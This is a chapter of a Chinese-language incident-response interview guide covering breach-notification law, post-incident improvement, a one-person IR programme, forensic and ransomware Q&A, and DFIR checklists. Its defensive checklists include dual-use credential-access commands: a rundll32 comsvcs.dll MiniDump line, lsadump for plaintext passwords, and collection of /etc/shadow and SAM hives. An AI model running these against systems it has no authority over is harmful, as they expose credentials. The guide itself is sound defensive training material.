维度一:泄露了什么类型的数据?(★ 决定适用哪部法规)

  个人信息(姓名、手机号、身份证、账号密码、位置、生物特征...)
    → ★ 中国《个人信息保护法》第 57 条
    → ★ 欧盟 GDPR 第 33/34 条(72 小时)
    → 美国各州的数据泄露通知法

  重要数据 / 核心数据(中国《数据安全法》的分类)
    → ★ 中国《数据安全法》
    → 行业规定(金融、电信、汽车、医疗各有自己的)

  其他敏感数据:
    财务数据 → 证券相关法规
    健康数据 → HIPAA(美国)
    儿童数据 → COPPA(美国)★ 更严格
    支付卡   → PCI DSS

维度二:涉及多少人?(★ 决定严重程度)

  中国《个保法》:
    ★ 处理个人信息达到【100 万人】的,
      还有额外的合规义务(如定期审计、指定负责人)
    ★ 泄露规模越大,越可能被认定为"情节严重"
      (罚款上限:上一年度营业额的 5%)

  GDPR:
    ★ 72 小时内通知监管机构
    ★ 如果对个人权利有高风险,还要通知数据主体本人

维度三:在哪发生?(★ 决定适用哪国法律)

  ★ 多地运营的公司要按【最严的】来
  例:一家中欧都有业务的公司,一般按 GDPR 的 72 小时准备

维度四:泄露的方式和原因?

  外部攻击  vs  内部人员  vs  配置错误
  ★ 都会触发上报义务,方式不影响"要不要报"
    但会影响调查报告的内容和处罚的轻重

★ 中国的具体要求(要能说清楚)

《个人信息保护法》第 57 条:
  发生或者可能发生个人信息【泄露、篡改、丢失】的,
  个人信息处理者应当:
    ① 【立即采取补救措施】
    ② 【通知】履行个人信息保护职责的部门
    ③ 【通知】个人

  ★ 但第 57 条还有一个重要的例外:
    "个人信息处理者采取措施能够有效避免信息泄露、
     篡改、丢失造成危害的,个人信息处理者可以不通知个人;
     履行个人信息保护职责的部门认为可能造成危害的,
     有权要求个人信息处理者通知个人。"

  ★ 解读:
    - 【通知监管部门】是硬性的
    - 【通知个人】有例外(如果能证明没造成危害)
    - ★ 但这个例外要【监管部门认可】,不能自己判断
    - ★ 所以实务上:立即报告,让监管部门来判断

《数据安全法》:
  发生数据安全事件,应当【立即采取处置措施】,
  按照规定及时告知用户并向有关主管部门报告

《网络安全法》第 22 条:
  网络产品、服务存在安全缺陷、漏洞等风险时,
  应当【立即采取补救措施】,按照规定及时告知用户
  并向有关主管部门报告

等保 2.0:
  "安全事件处置"是明确的测评项
  ★ 要求:有事件定级、有处置流程、有报告和记录

★ 关键:不同法规的时限不同,
  ★ 实务原则:按【最严的】准备

★ 什么情况下【必须】上报(实务清单)

✅ 必须上报:
  - 个人信息泄露(不论数量,先报告)
  - 重要数据/核心数据泄露
  - 涉及关键信息基础设施(CII)
  - 被勒索且数据被窃取(双重义务:泄露 + 事件)
  - ★ 有证据表明数据已被下载/访问

⚠️ 灰色地带(需要法务判断):
  - 只有"可能被访问"但没有证据
  - 数据已加密且密钥未泄露(★ 某些法规下可豁免通知个人)
  - 内部人员的单次误操作且立即纠正

❌ 不需要上报(但要记录):
  - 未遂攻击(没成功)
  - 不涉及任何敏感数据的系统被入侵
  - ★ 但:仍然要内部记录和复盘

★ 上报的实操流程

① 【立即】通知法务和合规(★ 不要自己判断)
   提供:什么数据、多少、涉及谁、怎么泄露的、什么时候

② 法务判断适用哪些法规、时限是多久

③ 准备报告材料(★ 技术团队提供事实)
   - 泄露的数据类型和数量
   - 涉及的数据主体数量和范围
   - 泄露的时间和方式
   - 已采取的措施
   - 可能的后果
   - 后续改进计划

④ 在时限内提交(★ 按最严的时限)

⑤ 通知个人(如需要)
   ★ 由公关和法务主导,不是技术团队
   内容要包括:
     - 什么数据泄露了
     - 什么时候发生的
     - 我们做了什么
     - ★ 受影响的人应该怎么做(改密码、警惕钓鱼)
     - 联系方式

⑥ ★ 全程留痕
   ★ 记录所有决策和动作的时间点
   → 这是证明"我们履行了义务"的证据

面试话术

“首先我要明确一点:这不是技术团队能单独决定的,必须由法务和合规主导。安全团队的职责是尽快确定泄露了什么、多少、涉及谁,立即通知法务,然后提供技术事实。绝对不能自己决定’不用上报’或者隐瞒——隐瞒的后果远大于事件本身。

判断义务看四个维度。

第一个维度是泄露了什么类型的数据:如果是个人信息,触发《个人信息保护法》第 57 条;如果是重要数据或核心数据,触发《数据安全法》;如果涉及欧盟居民,触发 GDPR 的 72 小时要求。

第二个维度是涉及多少人:中国的个保法对处理 100 万人以上个人信息有额外义务,泄露规模越大越可能被认定为情节严重,罚款上限是上一年度营业额的 5%。

第三个维度是在哪发生——多地运营的公司要按最严的法律准备。

第四个维度是泄露方式,但方式不影响’要不要报’,只影响调查报告的内容和处罚轻重。

关于中国的要求我要说清楚一点:《个保法》第 57 条规定,发生或可能发生个人信息泄露、篡改、丢失的,应当立即采取补救措施,并通知监管部门和个人。但有个重要例外:如果采取措施能有效避免危害,可以不通知个人——不过这个例外需要监管部门认可,不能自己判断。所以实务上的原则是:先报告,让监管部门来判断要不要通知个人。

实操流程是:立即通知法务(不要自己判断)→ 法务判断适用法规和时限 → 技术团队准备事实材料 → 在时限内提交 → 需要的话通知个人(由公关法务主导)→ 全程留痕证明我们履行了义务。

最后强调一条:不同法规的时限不同,实务上按最严的准备。“


H26|场景:事件处置完了,怎么保证不再发生第二次?(难度 ★★★★)

★ 核心思想:把“一次事件的处置”转化为“系统性的能力”

❌ 错误做法:
  "我们清了后门、改了密码、打了补丁,事件关闭。"
  → ★ 三个月后同样的事再来一次

✅ 正确做法(五个转化):

  转化一:把 IOC 转化为【检测能力】★
    这次发现的 C2 IP、文件哈希、互斥体、URL
    → 全部录入 SIEM / EDR / 防火墙 / 邮件网关
    → ★ 下次同样的攻击者一来就能立刻发现
    ★ 关键:要沉淀到【内部情报库】(MISP),不能只写 Word 文档

  转化二:把攻击手法转化为【检测规则】★
    ★ 最重要的转化
    这次攻击者用了什么技术(ATT&CK 编号)?
    → 我们当时有没有检测到?
    → 没检测到 → ★ 补一条 Sigma / EDR 规则
    → ★ 而且要验证:用 Atomic Red Team 打一次,确认能抓到

  转化三:把根因转化为【流程改进】
    用"五个为什么"找到根因
    → 根因往往是流程/制度/投入层面的
    → ★ 改进项必须有 owner 和 deadline,可度量

  转化四:把处置过程转化为【预案更新】
    ★ 这次处置中,哪些地方卡住了?
      - 联系人打不通?
      - 工具没装?
      - 决策链不清?
      - 某个步骤没人会做?
    → ★ 全部更新到预案里

  转化五:把经验转化为【演练场景】
    ★ 这次的真实事件,就是下次演练的最佳素材
    → 半年后用这个场景做桌面演练,验证改进是否落地

★ 具体的改进清单(八项,可直接用)

【技术层面】
  ① 补检测规则(★ 最重要)
     - 针对本次攻击手法的 Sigma / EDR 规则
     - ★ 验证:红队/紫队演练确认能抓到

  ② 补日志采集
     - 这次取证时发现缺什么日志?
     - ★ 补上,并确保保留期足够(≥ 180 天)

  ③ 提升覆盖率
     - EDR / 日志采集覆盖率(目标 ≥ 98%)
     - ★ 没覆盖的机器就是盲区

  ④ 缩小攻击面
     - 关掉不必要的服务、端口
     - 网络分段、出站白名单
     - ★ 消除共用密码(LAPS)

  ⑤ 部署蜜标(★ 兜底检测)
     - AD 蜜标账号、蜜标文件、蜜标 SPN
     - ★ 下次再有攻击者,他碰到的第一个东西就是蜜标

【流程层面】
  ⑥ 更新应急预案和联系人清单
  ⑦ 建立/优化变更管理流程(★ 很多事故源于变更)
  ⑧ 定期演练(★ 半年一次桌面演练、一年一次技术演练)

【组织层面】
  ⑨ 安全培训(★ 针对性:这次是谁中招了,给他单独培训)
  ⑩ ★ 把安全指标纳入考核(★ 没有考核就没有执行力)

★ 度量:怎么知道改进生效了?

跟踪这些指标的变化趋势:

  ① ★ 平均检测时间(MTTD)
     目标:从"数月"降到"数天"甚至"数小时"
  ② 平均响应时间(MTTR)
  ③ ATT&CK 覆盖度(覆盖了多少条技术)
  ④ 检测规则的检出率(紫队演练验证)
  ⑤ 日志覆盖率
  ⑥ ★ 同类事件的复发次数(★ 最直接的指标)

★ 汇报时:
  "上季度到域管的最短路径 47 条,这季度 12 条"
  "MTTD 从 3 个月降到 5 天"
  ★ 用数字的趋势,比讲技术细节有用一百倍

面试话术

“核心是把’一次事件的处置’转化为’系统性的能力’。光清后门改密码打补丁是不够的,三个月后同样的事一定会再来。

我做五个转化。

第一个是把 IOC 转化为检测能力:这次发现的 C2 IP、文件哈希、互斥体,全部录入 SIEM、EDR、防火墙,下次同样的攻击者一来就能立刻发现。关键是要沉淀到内部情报库(比如 MISP),不能只写在 Word 文档里。

第二个、也是最重要的,是把攻击手法转化为检测规则:这次攻击者用了哪些 ATT&CK 技术?我们当时有没有检测到?没检测到的就补一条 Sigma 或 EDR 规则,而且要用 Atomic Red Team 实际打一次验证能抓到。

第三个是把根因转化为流程改进:用五个为什么找到根因,它往往是流程或制度层面的,改进项必须有 owner 和 deadline 且可度量。

第四个是把处置过程转化为预案更新:这次哪些地方卡住了——联系人打不通、工具没装、决策链不清——全部更新到预案里。

第五个是把经验转化为演练场景:这次的真实事件就是下次演练的最佳素材,半年后用它做桌面演练,验证改进是否真的落地。

度量上我跟踪几个指标的趋势:MTTD、MTTR、ATT&CK 覆盖度、日志覆盖率,以及最直接的——同类事件的复发次数。汇报时我用数字的趋势,比如’到域管的最短路径从 47 条降到 12 条’,比讲两小时技术有用得多。“


H27|场景:公司只有你一个人做安全,怎么建立应急响应能力?(难度 ★★★★★)

这是一道“资源受限”题,考的是优先级判断和务实能力。很多中小公司的实际情况。

★ 核心原则:不要试图建“完整体系”,先建“能用的最小闭环”

❌ 错误想法:
  "我要先买 SIEM、建 SOC、招三个人、做完整预案……"
  → 一年后还没开始

✅ 正确做法:
  先建【最小可行能力】,然后逐步迭代
  ★ 关键是:先能"发现"和"止血",其他慢慢来

★ 第一个月:三件事(能发现、能止血)

【第 1 件】日志集中化 ★★★ 最高优先级
  为什么第一:
    ★ 没有日志,一切都无从谈起
    - 出事了查不到
    - 有没有被攻击不知道
    - 事后无法复盘

  最小方案(成本极低):
    Linux:rsyslog → 一台日志服务器(或云上的日志服务)
      # /etc/rsyslog.d/99-remote.conf
      *.* @@logserver.internal:514
      ★ 用 TCP(@@)而不是 UDP(@),避免丢日志
    Windows:WEF(Windows 事件转发)或 Winlogbeat
    ★ 云上:直接开 CloudTrail / 阿里云操作审计 + 日志服务

  关键配置:
    ★ 保留期 ≥ 180 天
    ★ 日志服务器要跟生产环境隔离(攻击者够不着)
    ★ 拿不到完整方案就用最笨的:定时 rsync 日志到一台备份机

【第 2 件】一份能用的联系人清单
  ★ 成本:1 小时
  内容:
    - 内部:运维、网络、各业务负责人(★ 手机)
    - 外部:云厂商技术支持、安全应急厂商(★ 提前谈好,哪怕只签个框架)
    - 管理层:什么时候上报、报给谁
    - ★ 法务/合规(数据泄露时的时限问题)

【第 3 件】一个应急工具箱(U 盘)
  ★ 成本:半天
  内容:
    - Sysinternals 全套(Windows)
    - busybox-static(Linux,★ 防 Rootkit 替换系统命令)
    - 内存采集工具(DumpIt / AVML)
    - 取证采集脚本(本章 8.2.1 / 8.3.1 的那两个)
    - ★ 离线版的威胁情报(常见恶意 IP 库)
  要求:
    ★ 全部放在 U 盘上(事发时可能断网)
    ★ 定期更新(每季度)

★ 第二~三个月:补检测和响应能力

【第 4 件】部署 EDR 或至少 Sysmon
  预算够 → 商业 EDR(省心)
  预算不够 → ★ Sysmon + 免费的日志分析
    - Sysmon(SwiftOnSecurity 的配置模板,开箱即用)
    - 日志送到集中化平台
    - ★ 用 Sigma 规则(社区现成的,几千条)
    - ★ 用 chainsaw 做快速狩猎(免费、开箱即用)

【第 5 件】写三份处置剧本
  ★ 不要写二十份,先写最可能发生的三份:
    ① 勒索软件
    ② 挖矿木马
    ③ 钓鱼邮件
  每份一页纸:现象 → 判断 → 立即行动 → 升级条件
  ★ 一页纸的预案【会被用】,五十页的预案【没人看】

【第 6 件】加固最高优先级的两件事
  ★ 按投入产出比,只做两件:
    ① MFA(★ 能防住绝大部分外部入侵)
        VPN、邮箱、云控制台、核心系统
        ★ 成本很低,收益极大
    ② 备份 3-2-1 + 恢复演练
        ★ 备份是应对勒索软件的最后一道防线
        ★ ★ 一定要验证能恢复!

★ 第四~六个月:常态化

【第 7 件】定期自检(每月 2 小时)
  - BloodHound 跑一次(如果有域)
  - 检查日志覆盖率
  - 检查备份是否成功
  - 检查高权限账号清单
  ★ 输出:一张指标表,跟踪趋势

【第 8 件】一次桌面演练
  ★ 拉上运维和业务,花 2 小时演练一次勒索软件场景
  → 会暴露大量问题(联系人失效、职责不清、工具没有)
  ★ 这是性价比最高的投入

【第 9 件】外部支援准备
  - 提前谈好应急服务厂商(★ 出事时再找就晚了)
  - 加入行业 ISAC / 安全社区(获取情报)
  - ★ 关注 CNCERT 和厂商的安全公告

★ 三个“一个人”的现实建议(★ 很实在)

① ★ 不要追求"全覆盖",追求"关键资产不死"
   资源有限时,把 80% 的精力放在 20% 的关键资产上:
   - 域控、堡垒机
   - 核心数据库(客户数据、财务)
   - 对外服务的入口(VPN、邮箱、Web)
   ★ 其他地方先放着,出问题再处理

② ★ 自动化 > 人工
   一个人的时间是固定的,能自动化的都自动化:
   - 日志采集自动化
   - 基线检查脚本化(每周自动跑,邮件通知结果)
   - ★ 备份验证自动化(★ 最重要,很多人忘了)
   - 用托管服务(云厂商的、SaaS 的),别自己运维

③ ★ 借力
   - 用开源工具(Sigma、chainsaw、Volatility、Sysmon、MISP)
   - 用社区规则(SigmaHQ、Atomic Red Team)
   - 用免费情报(Abuse.ch、VirusTotal、微步)
   - ★ 用云厂商托管的安全服务(GuardDuty、Defender for Cloud)
   一个人的安全 = 会借力

面试话术(3 分钟版本)

“一个人做安全,核心原则是不要试图建完整体系,先建能用的最小闭环。先能做到’发现’和’止血’,其他慢慢迭代。

第一个月只做三件事。第一是日志集中化,这是最高优先级——没有日志一切都无从谈起,出事了查不到、有没有被攻击不知道、事后无法复盘。成本可以很低:Linux 用 rsyslog 转发到一台日志服务器,Windows 用 WEF,云上直接开操作审计。关键是保留期要够(至少 180 天),日志服务器要跟生产环境隔离。

第二是一份能用的联系人清单,成本一小时,但必须包含手机号和’什么时候上报给谁’。

第三是一个应急工具 U 盘,装好 Sysinternals、静态 busybox、内存采集工具和取证脚本——事发时可能断网,工具必须提前备好。

第二三个月补检测和响应:部署 EDR 或者免费的 Sysmon 加 Sigma 规则;写三份一页纸的处置剧本(勒索、挖矿、钓鱼)——一页纸的预案会被用,五十页的没人看;然后只做两件加固:MFA(能防住绝大部分外部入侵,成本极低收益极大)和备份 3-2-1 加恢复演练。

第四到六个月做常态化:每月两小时自检、一次桌面演练、提前谈好外部应急厂商。

最后我想给三条现实建议:第一,不要追求全覆盖,追求关键资产不死——把 80% 精力放在域控、核心数据库、对外入口这 20% 的关键资产上。第二,能自动化的都自动化,一个人的时间是固定的。第三,学会借力——开源工具、社区规则、免费情报、云厂商的托管服务。一个人的安全,本质是会不会借力。“


8.11.4 追问链(H28 ~ H30)


H28|追问链:取证流程(10 连问)(难度 ★★★★★)

Q1: 拿到一台可疑机器,第一步做什么?
A:  保证据。先看它是不是还在运行:
    还在运行 → 优先 dump 内存(★ 断电就没了)
              然后进程列表、网络连接
    已经关机 → 只能做磁盘镜像
    ★ 关键:不关机、不重启、不写入

Q2: 为什么先内存后磁盘?
A:  易失性顺序。内存里有磁盘上根本没有的:
    无文件攻击 payload、解密内容、明文凭据、
    当前网络连接、被 Rootkit 隐藏的东西、进程树关系

Q3: 磁盘镜像怎么做?
A:  ★ 只读!用写保护设备或只读挂载:
    mount -o ro,loop,show_sys_files,streams_interface=windows disk.E01 /mnt
    Linux 上也可以用 dc3dd / Guymager
    做完立即算 SHA256

Q4: 为什么不能在原始盘上分析?
A:  ① 打开文件会改访问时间,污染证据
    ② 运行的程序会写临时文件,可能覆盖已删除的数据
    ③ ★ 法庭上会被质疑,整份证据可能失效

Q5: Windows 上你会看哪些 artifact?
A:  注册表(UserAssist / BAM-DAM / Amcache / ShimCache)
    文件系统($MFT / $UsnJrnl / Prefetch / SRUM)
    事件日志(Security / Sysmon / PowerShell 4104)
    浏览器、最近文件、Jump Lists

Q6: $MFT 有什么用?
A:  每个文件一条记录,删了也留痕。
    有四个时间戳,第四个(Entry Modified)是检测 timestomping 的关键

Q7: 怎么检测时间戳被伪造?
A:  五种方法:$SI vs $FN 对比(最可靠)、Entry Modified 时间、
    跟父目录时间对比、跟系统安装时间对比、时间戳精度(整秒 = 可疑)

Q8: 日志被清了怎么办?
A:  查其他通道(Sysmon、PowerShell)、查集中化日志、
    ★ 查域控日志、查文件系统痕迹(Amcache/Prefetch/SRUM/USN)、
    查内存、查网络侧日志、查备份

Q9: 怎么把散落的证据串起来?
A:  做超级时间线(Plaso)。
    ★ 但要注意时区统一(全程 UTC)、注意 timestomping

Q10: 最后怎么保证结论可靠?
A:  ★ 交叉验证 —— 任何单一数据源都不可信:
    内存 vs 磁盘、/proc vs ps、本机 vs 域控 vs 网络
    ★ 还有:诚实承认局限,查不到就说查不到

H29|追问链:勒索软件处置(8 连问)(难度 ★★★★★)

Q1: 用户报告文件打不开,你怎么判断是不是勒索软件?
A:  看三个:文件被批量重命名(奇怪的扩展名)、
    有勒索信文件、★ 文件修改速度在持续增加(还在加密)

Q2: 确认是勒索软件,第一件事做什么?
A:  ★ 看"加密还在进行吗"。
    还在进行 → 立即断网(不是关机!),一秒都不要等
    已完成   → 可以先快速取证

Q3: 断网之外,同时还要做什么?
A:  四个并行:① 断网 ② 保护备份(★ 立即断开备份系统)
    ③ 保住域控(加强保护 + 重置 krbtgt)④ 快速取证(含内存)

Q4: 为什么要 dump 内存?
A:  ★ 因为加密密钥可能在内存里!
    有些勒索软件的实现有缺陷,密钥可以恢复 → 能解密文件
    这是很多人不知道的一点

Q5: 付不付赎金?
A:  安全团队的建议是不付:
    ① 付了不保证拿到密钥 ② 资助犯罪
    ③ 可能违反制裁合规 ④ 会被标记为"愿意付"反复被攻击
    ★ 但这是【业务决策】,应由董事会决定
    ★ 决策前先查 No More Ransom 有没有免费解密器

Q6: 从备份恢复前要确认什么?
A:  ★ 三点:
    ① 备份是【干净的】(要扫描!)
    ② 入口漏洞已找到并修复
    ③ 所有后门已清除、凭据已重置
    ★ 急着恢复 = 二次感染

Q7: 入口找不到怎么办?
A:  ★ 那就不能恢复上线。
    找入口的常用方法:
    - 看最初的异常登录(4624 Type 10/3,来源异常)
    - 看 RDP 爆破(4625 大量失败)
    - 看钓鱼邮件(邮件网关日志)
    - 看 Web 漏洞(Webshell、访问日志)
    - ★ 看 VPN / 边界设备的日志
    ★ 实在找不到 → 按"最坏情况"重建

Q8: 复盘要改进什么?
A:  六项:① 备份 3-2-1 + 不可变副本
    ② ★ 定期恢复演练(★ 很多公司备份是坏的但没人知道)
    ③ 禁 RDP 外网暴露 / MFA
    ④ EDR 全覆盖
    ⑤ 邮件网关加强
    ⑥ ★ 网络分段(让勒索不能横向扩散)

H30|追问链:检测能力建设(8 连问)(难度 ★★★★★)

Q1: 让你从零建检测能力,第一步做什么?
A:  日志集中化。没有数据就没有检测。
    ★ 而且是【集中化】(转发到远端),不是本机日志

Q2: 日志采什么?
A:  分三层:域控(认证 + 目录服务审计)、
    关键服务器(登录 + 4688 带命令行)、
    终端(EDR + Sysmon)
    ★ Sysmon 至少包含 Event 1/3/7/8/10/11/13/17-21

Q3: 有日志了,怎么建检测规则?
A:  ① 先用社区现成的(SigmaHQ、Elastic、Splunk ES)
    ② 转换成你的 SIEM 语法
    ③ ★ 先跑统计模式看命中量和误报率,不要直接上生产
    ④ 调优白名单再上线
    ⑤ 自己写时:描述【行为】不描述【特征】

Q4: 怎么知道覆盖了多少?
A:  ATT&CK Navigator 热力图。
    给每条规则打 ATT&CK 标签 → 导入 → 看哪些格子空白

Q5: 空白的格子怎么补?
A:  按优先级:先补"攻击者几乎必用"的:
    PowerShell、LSASS 访问、进程注入、Web C2、
    远程服务横向、注册表持久化

Q6: 怎么验证规则真的有效?
A:  ★ Atomic Red Team。
    选一个技术 → 实际打一次 → 看有没有告警
    ★ 这是最低成本的验证方法

Q7: 规则上线后怎么运营?
A:  ① 每条规则要有 Runbook(告警了怎么处置)
    ② 跟踪误报率(目标 < 10%)
    ③ 每季度 review
    ④ ★ 每次事件后补新规则(★ 最重要的迭代来源)

Q8: 怎么向管理层汇报成效?
A:  ★ 用指标的趋势,不要讲技术:
    - MTTD 从 3 个月降到 5 天
    - ATT&CK 覆盖度从 30% 到 70%
    - 日志覆盖率从 60% 到 98%
    - 到域管的最短路径从 137 条降到 12 条
    ★ "最短路径从 137 降到 12" 这句话比讲两小时技术有用

8.12 第八章小结

8.12.1 五条核心认知

认知一:取证的机会只有一次

  ★ 这是本章最重要的一句话。

  内存断电就没了、网络连接断了就没了、进程杀了就没了。
  磁盘上的东西虽然还在,但每写入一个文件都可能覆盖掉
  攻击者删除的关键数据。

  → 所以顺序是硬的:先内存、后磁盘、再其他
  → 所以原则是硬的:不改动原始数据、不在原始盘上分析
  → ★ 所以"先做五分钟快速取证,再处置"是标准动作

  ★ 一个专业的应急响应和一个业余的应急响应,
    差别往往就在最初的那五分钟。

认知二:你永远无法 100% 查清楚

  ★ 这是本章【最诚实】也【最重要】的一句话。

  原因:
    - 日志可能不全、保留期太短、被清空
    - 加密流量看不到内容
    - 没装 EDR 的机器是黑盒
    - 0day 没有特征
    - ★ 攻击者会反取证(Timestomping、清日志、Rootkit)

  → 所以:
    ① 取证报告要写"基于现有证据",不写"事实是"
    ② ★ 要把不确定性明确告诉业务方
       "我们能确认的是 X,但不能排除更大范围"
    ③ ★ 用蜜标和持续监控兜底,而不是承诺"查干净了"
    ④ ★ 过度自信的结论,比没有结论更危险

认知三:IOC 找已知,IOA 抓未知

  IOC(哈希、IP、域名)描述的是"上一次攻击长什么样"
  → 攻击者换个 IP、重新编译一次就全失效
  → ★ 改变 IOC 的成本几乎为零

  IOA(行为)描述的是"攻击必然要做的事"
  → 要偷凭据就必须访问 LSASS
  → 要加密文件就必须大量读写
  → ★ 改变行为模式的成本很高

  → 所以检测规则要【描述行为,不描述特征】
    坏:"进程名 = mimikatz.exe"
    好:"非白名单进程读取 LSASS 内存"

认知四:应急响应是"准备"出来的,不是"临场发挥"出来的

  "没有准备的应急响应 = 没有应急响应"

  ★ 准备包括:
    - 工具提前下载好放 U 盘(事发时可能断网)
    - 联系人清单(凌晨 3 点能打通的手机号)
    - 通信渠道(★ 含带外:攻击者在你的邮件系统里怎么办)
    - 预案(★ 一页纸的会被用,五十页的没人看)
    - 演练(★ 不演练永远不知道预案是错的)

  ★ 演练发现最多的问题:
    联系人失效、职责不清、决策链不清、工具不可用

认知五:复盘的价值 > 处置的价值

  ★ 处置解决的是"这一次",复盘解决的是"每一次"

  不复盘 → 同样的事故一定会再来
    (我见过同一家公司一年内被同一种方式打了三次)

  ★ 复盘的核心是【无责】:
    "人不会犯错,是系统允许了错误的发生"
    → 追责个人 → 下次没人敢上报 → 真正的问题永远不解决
    → ★ 找系统问题 → 改进流程 → 同样的事故不再发生

  ★ 复盘的产出必须是【可执行的改进项】:
    "加强安全意识" ✗
    "6月30日前,张三负责完成 MFA 全员推广,覆盖率 ≥ 95%" ✓

8.12.2 DFIR 速查卡

取证采集顺序(★ 打印出来贴在墙上)

# 采集项 为什么先收 时间
1 内存镜像 ★ 断电就没,含无文件攻击、明文凭据、被隐藏的东西 5~30 分钟
2 进程列表(带命令行) 关了进程就没了 1 分钟
3 网络连接 断网就没了(含已关闭连接的信息) 1 分钟
4 关键日志导出 可能被清 5 分钟
5 $MFT / USN / Amcache / Prefetch / SRUM 攻击者清不掉的证据 10 分钟
6 磁盘完整镜像 最持久但最大 数小时

关键 Artifact 速查

问题 看哪里
运行过哪些程序? Amcache、Prefetch、ShimCache、UserAssist、BAM/DAM
什么时候最后运行的? BAM/DAM、Prefetch
文件被删了还能查到吗? $MFT(元数据)、$UsnJrnl(删除动作)、$I30(文件名)
连接过哪些外部 IP? 内存 netscan、SRUM、防火墙日志、NetFlow
外传了多少数据? SRUM、NetFlow、代理日志
数据被拷到 U 盘了吗? USB 使用记录、LNK 文件里的卷序列号
访问过哪些网络共享? Shellbags、Jump Lists
有没有 timestomping? $SI vs $FN、Entry Modified、ctime vs mtime
有没有 Rootkit? 内存 pslist vs psscan、/proc vs ps、rpm -Va
有没有注入? 内存 malfind(找 RWX + MZ 头)
凭据泄露了哪些? 内存 lsadump(★ 含服务账号明文密码)
用了什么持久化? 注册表 Run、服务、计划任务、WMI 订阅、cron、ld.so.preload

应急响应六阶段检查表

【① 准备】平时
  [ ] 预案(分级标准 + 处置剧本 + 升级路径)
  [ ] 联系人清单(7×24 手机)
  [ ] 工具箱 U 盘(离线可用)
  [ ] 带外通信渠道
  [ ] 外部支援(应急厂商、法务)
  [ ] 每年至少一次演练

【② 检测】0~30 分钟
  [ ] 确认事件真实性
  [ ] 定级(严重/高/中/低)
  [ ] 按升级路径通知
  [ ] ★ 启动记录(时间线、决策记录)

【③ 遏制】30 分钟 ~ 2 小时
  [ ] ★ 先做快速取证(5~10 分钟)
  [ ] 网络隔离(★ 不是关机)
  [ ] 封禁已知 C2
  [ ] 禁用失陷账号(★ 含清理会话和票据)
  [ ] 评估影响范围

【④ 根除】2~24 小时
  [ ] ★ 找到入口(找不到就不能恢复)
  [ ] 清除所有持久化
  [ ] 重置所有相关凭据
  [ ] 修补漏洞
  [ ] 检查备份是否干净

【⑤ 恢复】1~7 天
  [ ] 从干净备份恢复(★ 先验证)
  [ ] 分阶段上线
  [ ] 加强监控
  [ ] ★ 观察 2~4 周(复发高发期)

【⑥ 复盘】1~2 周后
  [ ] 完整时间线
  [ ] 根因分析(五个为什么)
  [ ] 改进项(owner + deadline + 可度量)
  [ ] ★ IOC 沉淀到情报库
  [ ] ★ 补检测规则并验证
  [ ] 更新预案
  [ ] 报告公开(组织内部)

8.12.3 五份清单

清单 A:取证工具箱(★ 提前下载好放 U 盘)

┌─ 采集工具 ────────────────────────────────────────┐
│ 内存:                                             │
│   Windows: DumpIt.exe、AVML                        │
│   Linux:   AVML、LiME(需编译)                    │
│   系统自带:                                        │
│     rundll32 comsvcs.dll,MiniDump <PID> out.dmp full │
│ 磁盘:                                             │
│   dd / dcfldd / dc3dd(Linux)                     │
│   FTK Imager(Windows,图形界面最好用)            │
│   Guymager(Linux 图形界面)                       │
│ 一线采集脚本:                                     │
│   Linux:   见 8.3.1 的 linux_triage.sh             │
│   Windows: 见 8.2.1 的 collect_triage.ps1          │
│   KAPE(Windows,★ 一键采集所有 artifact)          │
└───────────────────────────────────────────────────┘

┌─ 分析工具 ────────────────────────────────────────┐
│ 内存:                                             │
│   Volatility 3(★ 必备)                           │
│ 注册表 / Windows artifact:                        │
│   Eric Zimmerman 套装(★ 业界标准):              │
│     Registry Explorer、AmcacheParser、             │
│     AppCompatCacheParser、ShellBags Explorer、      │
│     LECmd、JLECmd、MFTECmd、PECmd、EvtxECmd、       │
│     Timeline Explorer                              │
│ 日志:                                             │
│   chainsaw(★ 快速狩猎,内置大量规则)             │
│   EvtxECmd                                         │
│ 时间线:                                           │
│   Plaso(log2timeline + psort)                    │
│   Timeline Explorer / Timesketch                   │
│ 恶意样本:                                         │
│   pestudio、DIE、CAPA、Floss、YARA                 │
│   strings(★ 记得用 -el 读 UTF-16)                │
│ 网络:                                             │
│   Wireshark / tshark、Zeek、nfdump                 │
│ 系统排查:                                         │
│   Sysinternals 全套(★ autoruns、procexp、procmon) │
│   busybox-static(★ Linux 防 Rootkit)             │
└───────────────────────────────────────────────────┘

★ 关键:全部放在 U 盘,且【离线可用】
   事发时目标机器可能已断网,你下载不了

清单 B:Windows 取证检查表

[ ] 1. 记录系统时间(UTC)和时区 ★ 第一步
[ ] 2. 内存 dump
[ ] 3. 进程列表(带完整命令行和父进程)
[ ] 4. 网络连接(ss / netstat,带进程)
[ ] 5. DNS 缓存
[ ] 6. 事件日志整个 winevt\Logs 目录
[ ] 7. 注册表 hive(SYSTEM / SOFTWARE / SAM / SECURITY)
[ ] 8. 各用户的 NTUSER.DAT 和 UsrClass.dat
[ ] 9. Amcache.hve
[ ] 10. Prefetch 目录
[ ] 11. $MFT
[ ] 12. $UsnJrnl($J)
[ ] 13. SRUDB.dat(+ SOFTWARE hive 用于解析)
[ ] 14. $Recycle.Bin
[ ] 15. 浏览器数据(History / Downloads / Login Data / Web Data)
[ ] 16. 持久化检查(autoruns -a -c -h -v)
[ ] 17. WMI 订阅检查
[ ] 18. 检查 NTFS 备用数据流(ADS)
[ ] 19. USB 使用记录
[ ] 20. ★ 计算所有证据文件的 SHA256

清单 C:Linux 取证检查表

[ ] 1. 记录系统时间(date + date -u)和时区 ★ 第一步
[ ] 2. uname -a(★ Volatility 分析需要)
[ ] 3. 内存 dump(AVML / LiME)
[ ] 4. ps auxwww + ps -ef --forest
[ ] 5. ★ 每个进程的 /proc/<PID>/{cmdline,exe,cwd,environ,maps,fd}
[ ] 6. ss -tunap + lsof -nP
[ ] 7. ★ lsof +L1(已删除但仍打开的文件)
[ ] 8. ★ 检查 /proc/<PID>/exe 有没有 (deleted)
[ ] 9. 日志:/var/log/ 全部 + journalctl 导出
[ ] 10. last / lastb / lastlog / w / who
[ ] 11. 命令历史(含 .mysql_history 等)
[ ] 12. /etc/passwd、shadow、group、sudoers
[ ] 13. 持久化检查(cron、systemd、rc.local、init.d)
[ ] 14. ★ /etc/ld.so.preload
[ ] 15. ★ /etc/pam.d/
[ ] 16. authorized_keys(含 command= 检查)
[ ] 17. SUID/SGID 文件清单
[ ] 18. Rootkit 检测(/proc vs ps、lsmod vs /proc/modules)
[ ] 19. ★ rpm -Va / dpkg --verify(找被替换的系统命令)
[ ] 20. 最近修改的文件清单(find -newermt)
[ ] 21. ★ 计算所有证据文件的 SHA256

清单 D:恶意样本快速分析流程(15 分钟版)

